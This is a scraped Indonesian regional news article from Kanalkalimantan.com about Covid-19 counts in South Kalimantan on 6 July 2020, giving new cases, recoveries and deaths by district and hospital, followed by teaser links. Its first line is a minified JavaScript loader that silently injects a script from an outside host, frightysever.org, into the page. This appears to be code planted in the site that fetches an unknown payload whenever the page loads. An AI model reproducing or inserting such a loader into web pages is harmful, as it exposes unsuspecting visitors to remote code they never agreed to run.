(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jumlah kasus positif Covid-19 di Kalimantan Selatan terus bertambah. Data terbaru dari Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Kalsel pada Senin (6/7/2020) sore, jumlah kasus keseluruhan mencapai 3.628 kasus.
Menurut Juru Bicara GTPP Covid-19 Kalsel Muhamad Muslim, tercatat ada 64 kasus baru positif Covid-19. Dari jumlah tersebut, 3 kasus merupakan pasien dalam pengawasan (PDP) yang terkonfirmasi positif Covid-19. Yaitu 2 pasien dari RS Bhayangkara Banjarmasin yang berasal dari Kabupaten Barito Kuala dan Kabupaten Tapin, dan 1 pasien dari RSUD H. Boejasin Pelaihari asal Kabupaten Tanah Laut, yang dilaporkan meninggal dunia.
“Kemudian ada 61 kasus hasil dari tracing kontak yang didapat oleh teman-teman Surveilans Epidemiologi di lapangan,” tutur Muslim di Banjarbaru, Senin (6/7/2020) sore.
Dari 61 kasus hasil tracing ini, mayoritas berasal dari Kabupaten Tapin sebanyak 16 kasus, Kabupaten Tanah Laut sebanyak 13 kasus, Kabupaten Barito Kuala sebanyak 11 kasus dan Kabupaten Banjar sebanyak 8 kasus. Disusul dari Kabupaten Hulu Sungai Tengah sebanyak 4 kasus, masing-masing 3 kasus dar Kota Banjarbaru dan Kabupaten Hulu Sungai Selatan, serta masing-masing 1 kasus dari Kabupaten Tabalong, Kabupaten Hulu Sungai Utara dan Kabupaten Tanah Bumbu.
Menurut Muslim, dari 3.628 kasus secara keseluruhan, sebanyak 2.459 kasus positif Covid-19 menjalani perawatan. Dari jumlah tersebut, sebanyak 2.292 kasus menjalani karantina khsuus maupun isolasi mandiri. “Yang saat ini dirawat di rumah sakit saat ini ada 167 kasus,” lugas Muslim.
Kasus sembuh dari Covid-19 juga bertambah. Sehingga totalnya mencapai 966 kasus, atau 26,8 persen dari total kasus keseluruhan.
“Penambahan kasus sembuh pada sore hari ini berjumlah 16 orang. Yaitu dari perawatan di RSUD Ulin Banjarmasin sebanyak 6 orang, yang terdiri dari 5 orang warga Banjarmasin dan 1 orang warga Tabalong. Kemudian 1 orang dari RS Bhayangkara Banjarmasin, warga Kabupaten Banjar,” kata Kepala Dinas Kesehatan Provinsi Kalsel ini.
Disusul masing-masing satu orang dari RSUD Datu Sanggul Rantau, asal Kabupaten Tapin dan karantina di Gedung BPSDMD Kalsel di Banjarbaru yang juga merupakan warga Kabupaten Tapin. Serta 6 orang dari karantina khusus di Kota Banjarmasin.
Namun begitu, Muslim menambahkan, ada penambahan kasus positif Covid-19 yang dilaporkan meninggal dunia sebanyak 2 kasus. Sehingga angka kematian akibat Covid-19 mencapai 203 kasus, atau 5,6 persen dari total kasus keseluruhan.
“Meninggal dunia beberapa waktu yang lalu dari PDP yang terkonfirmasi positif Covid-19. Yaitu dari RSUD H Boejasin Pelaihari, (meninggal) pada 24 Juni yang lalu dan dari RSUD Badaruddin Tabalong yang meninggal pada 28 Juni,” tandas Muslim. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.